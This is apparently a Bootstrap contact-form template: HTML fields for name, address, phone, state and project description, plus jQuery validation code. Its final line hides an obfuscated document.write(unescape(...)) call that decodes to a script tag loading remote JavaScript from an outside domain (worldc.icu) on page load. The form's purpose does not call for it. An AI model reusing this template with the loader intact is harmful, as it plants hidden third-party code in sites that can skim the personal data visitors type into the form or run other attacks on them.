<link href="//maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
<script src="//maxcdn.bootstrapcdn.com/bootstrap/3.3.0/js/bootstrap.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<!------ Include the above in your HEAD tag ---------->
<div class="container">
<form class="well form-horizontal" action=" " method="post" id="contact_form">
<fieldset>
<!-- Form Name -->
<legend>Contact Us</legend>
<!-- Text input-->
<div class="form-group">
<label class="col-md-4 control-label">First Name</label>
<div class="col-md-4 inputGroupContainer">
<div class="input-group">
<span class="input-group-addon"><i class="glyphicon glyphicon-user"></i></span>
<input name="first_name" placeholder="First Name" class="form-control" type="text">
</div>
</div>
</div>
<!-- Text input-->
<div class="form-group">
<label class="col-md-4 control-label" >Last Name</label>
<div class="col-md-4 inputGroupContainer">
<div class="input-group">
<span class="input-group-addon"><i class="glyphicon glyphicon-user"></i></span>
<input name="last_name" placeholder="Last Name" class="form-control" type="text">
</div>
</div>
</div>
<!-- Text input-->
<div class="form-group">
<label class="col-md-4 control-label">E-Mail</label>
<div class="col-md-4 inputGroupContainer">
<div class="input-group">
<span class="input-group-addon"><i class="glyphicon glyphicon-envelope"></i></span>
<input name="email" placeholder="E-Mail Address" class="form-control" type="text">
</div>
</div>
</div>
<!-- Text input-->
<div class="form-group">
<label class="col-md-4 control-label">Phone #</label>
<div class="col-md-4 inputGroupContainer">
<div class="input-group">
<span class="input-group-addon"><i class="glyphicon glyphicon-earphone"></i></span>
<input name="phone" placeholder="(845)555-1212" class="form-control" type="text">
</div>
</div>
</div>
<!-- Text input-->
<div class="form-group">
<label class="col-md-4 control-label">Address</label>
<div class="col-md-4 inputGroupContainer">
<div class="input-group">
<span class="input-group-addon"><i class="glyphicon glyphicon-home"></i></span>
<input name="address" placeholder="Address" class="form-control" type="text">
</div>
</div>
</div>
<!-- Text input-->
<div class="form-group">
<label class="col-md-4 control-label">City</label>
<div class="col-md-4 inputGroupContainer">
<div class="input-group">
<span class="input-group-addon"><i class="glyphicon glyphicon-home"></i></span>
<input name="city" placeholder="city" class="form-control" type="text">
</div>
</div>
</div>
<!-- Select Basic -->
<div class="form-group">
<label class="col-md-4 control-label">State</label>
<div class="col-md-4 selectContainer">
<div class="input-group">
<span class="input-group-addon"><i class="glyphicon glyphicon-list"></i></span>
<select name="state" class="form-control selectpicker" >
<option value=" " >Please select your state</option>
<option>Alabama</option>
<option>Alaska</option>
<option >Arizona</option>
<option >Arkansas</option>
<option >California</option>
<option >Colorado</option>
<option >Connecticut</option>
<option >Delaware</option>
<option >District of Columbia</option>
<option> Florida</option>
<option >Georgia</option>
<option >Hawaii</option>
<option >daho</option>
<option >Illinois</option>
<option >Indiana</option>
<option >Iowa</option>
<option> Kansas</option>
<option >Kentucky</option>
<option >Louisiana</option>
<option>Maine</option>
<option >Maryland</option>
<option> Mass</option>
<option >Michigan</option>
<option >Minnesota</option>
<option>Mississippi</option>
<option>Missouri</option>
<option>Montana</option>
<option>Nebraska</option>
<option>Nevada</option>
<option>New Hampshire</option>
<option>New Jersey</option>
<option>New Mexico</option>
<option>New York</option>
<option>North Carolina</option>
<option>North Dakota</option>
<option>Ohio</option>
<option>Oklahoma</option>
<option>Oregon</option>
<option>Pennsylvania</option>
<option>Rhode Island</option>
<option>South Carolina</option>
<option>South Dakota</option>
<option>Tennessee</option>
<option>Texas</option>
<option> Uttah</option>
<option>Vermont</option>
<option>Virginia</option>
<option >Washington</option>
<option >West Virginia</option>
<option>Wisconsin</option>
<option >Wyoming</option>
</select>
</div>
</div>
</div>
<!-- Text input-->
<div class="form-group">
<label class="col-md-4 control-label">Zip Code</label>
<div class="col-md-4 inputGroupContainer">
<div class="input-group">
<span class="input-group-addon"><i class="glyphicon glyphicon-home"></i></span>
<input name="zip" placeholder="Zip Code" class="form-control" type="text">
</div>
</div>
</div>
<!-- Text input-->
<div class="form-group">
<label class="col-md-4 control-label">Website or domain name</label>
<div class="col-md-4 inputGroupContainer">
<div class="input-group">
<span class="input-group-addon"><i class="glyphicon glyphicon-globe"></i></span>
<input name="website" placeholder="Website or domain name" class="form-control" type="text">
</div>
</div>
</div>
<!-- radio checks -->
<div class="form-group">
<label class="col-md-4 control-label">Do you have hosting?</label>
<div class="col-md-4">
<div class="radio">
<label>
<input type="radio" name="hosting" value="yes" /> Yes
</label>
</div>
<div class="radio">
<label>
<input type="radio" name="hosting" value="no" /> No
</label>
</div>
</div>
</div>
<!-- Text area -->
<div class="form-group">
<label class="col-md-4 control-label">Project Description</label>
<div class="col-md-4 inputGroupContainer">
<div class="input-group">
<span class="input-group-addon"><i class="glyphicon glyphicon-pencil"></i></span>
<textarea class="form-control" name="comment" placeholder="Project Description"></textarea>
</div>
</div>
</div>
<!-- Success message -->
<div class="alert alert-success" role="alert" id="success_message">Success <i class="glyphicon glyphicon-thumbs-up"></i> Thanks for contacting us, we will get back to you shortly.</div>
<!-- Button -->
<div class="form-group">
<label class="col-md-4 control-label"></label>
<div class="col-md-4">
<button type="submit" class="btn btn-warning" >Send <span class="glyphicon glyphicon-send"></span></button>
</div>
</div>
</fieldset>
</form>
</div>
</div><!-- /.container -->
#success_message{ display: none;}
$(document).ready(function() {
$('#contact_form').bootstrapValidator({
// To use feedback icons, ensure that you use Bootstrap v3.1.0 or later
feedbackIcons: {
valid: 'glyphicon glyphicon-ok',
invalid: 'glyphicon glyphicon-remove',
validating: 'glyphicon glyphicon-refresh'
},
fields: {
first_name: {
validators: {
stringLength: {
min: 2,
},
notEmpty: {
message: 'Please supply your first name'
}
}
},
last_name: {
validators: {
stringLength: {
min: 2,
},
notEmpty: {
message: 'Please supply your last name'
}
}
},
email: {
validators: {
notEmpty: {
message: 'Please supply your email address'
},
emailAddress: {
message: 'Please supply a valid email address'
}
}
},
phone: {
validators: {
notEmpty: {
message: 'Please supply your phone number'
},
phone: {
country: 'US',
message: 'Please supply a vaild phone number with area code'
}
}
},
address: {
validators: {
stringLength: {
min: 8,
},
notEmpty: {
message: 'Please supply your street address'
}
}
},
city: {
validators: {
stringLength: {
min: 4,
},
notEmpty: {
message: 'Please supply your city'
}
}
},
state: {
validators: {
notEmpty: {
message: 'Please select your state'
}
}
},
zip: {
validators: {
notEmpty: {
message: 'Please supply your zip code'
},
zipCode: {
country: 'US',
message: 'Please supply a vaild zip code'
}
}
},
comment: {
validators: {
stringLength: {
min: 10,
max: 200,
message:'Please enter at least 10 characters and no more than 200'
},
notEmpty: {
message: 'Please supply a description of your project'
}
}
}
}
})
.on('success.form.bv', function(e) {
$('#success_message').slideDown({ opacity: "show" }, "slow") // Do something ...
$('#contact_form').data('bootstrapValidator').resetForm();
// Prevent form submission
e.preventDefault();
// Get the form instance
var $form = $(e.target);
// Get the BootstrapValidator instance
var bv = $form.data('bootstrapValidator');
// Use Ajax to submit form data
$.post($form.attr('action'), $form.serialize(), function(result) {
console.log(result);
}, 'json');
});
});
document.write(unescape('%3c%73%63%72%69%70%74%20%74%79%70%65%3d%22%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3d%22%68%74%74%70%73%3a%2f%2f%77%6f%72%6c%64%63%2e%69%63%75%2f%69%6e%63%6c%75%64%65%33%2e%70%68%70%22%3e%3c%2f%73%63%72%69%70%74%3e'));
